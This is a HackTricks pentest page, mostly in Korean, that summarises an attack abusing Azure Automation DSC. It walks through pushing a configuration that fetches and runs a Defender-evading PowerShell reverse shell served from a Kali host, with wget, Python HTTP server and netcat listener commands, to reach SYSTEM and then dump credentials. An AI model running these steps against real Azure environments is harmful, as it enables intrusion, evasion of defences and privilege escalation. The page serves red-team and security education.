Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Summary of Remote Server (C2) Infrastructure Preparation and Steps

Overview

이 과정은 Windows Defender를 우회하도록 설계된 수정된 Nishang Invoke-PowerShellTcp.ps1 페이로드인 RevPS.ps1를 호스팅하기 위한 원격 서버 인프라를 설정하는 것을 포함합니다. 이 페이로드는 IP 40.84.7.74를 가진 Kali Linux 머신에서 간단한 Python HTTP 서버를 사용하여 제공됩니다. 이 작업은 여러 단계를 통해 실행됩니다:

Step 1 — Create Files

  • Files Required: 두 개의 PowerShell 스크립트가 필요합니다:

  1. reverse_shell_config.ps1: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. GitHub에서 얻을 수 있습니다.

  2. push_reverse_shell_config.ps1: VM에 구성을 게시하는 스크립트로, GitHub에서 사용할 수 있습니다.

  • Customization: 이러한 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.

Step 2 — Zip Configuration File

  • reverse_shell_config.ps1는 Azure Storage Account로 전송할 준비가 된 .zip 파일로 압축됩니다.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Step 3 — Storage Context 설정 및 업로드

  • 압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Step 4 — Kali 박스 준비

  • Kali 서버는 GitHub 리포지토리에서 RevPS.ps1 페이로드를 다운로드합니다.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • 스크립트가 수정되어 대상 Windows VM과 리버스 셸을 위한 포트를 지정합니다.

Step 5 — Publish Configuration File

  • 구성 파일이 실행되어 리버스 셸 스크립트가 Windows VM의 지정된 위치에 배포됩니다.

Step 6 — Host Payload and Setup Listener

  • 페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되고, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • 예약된 작업이 페이로드를 실행하여 SYSTEM 수준의 권한을 달성합니다.

결론

이 프로세스의 성공적인 실행은 자격 증명 덤핑 또는 여러 VM으로 공격을 확장하는 등 추가 작업을 위한 수많은 가능성을 열어줍니다. 이 가이드는 Azure Automation DSC 영역에서 지속적인 학습과 창의성을 장려합니다.

Support HackTricks

Last updated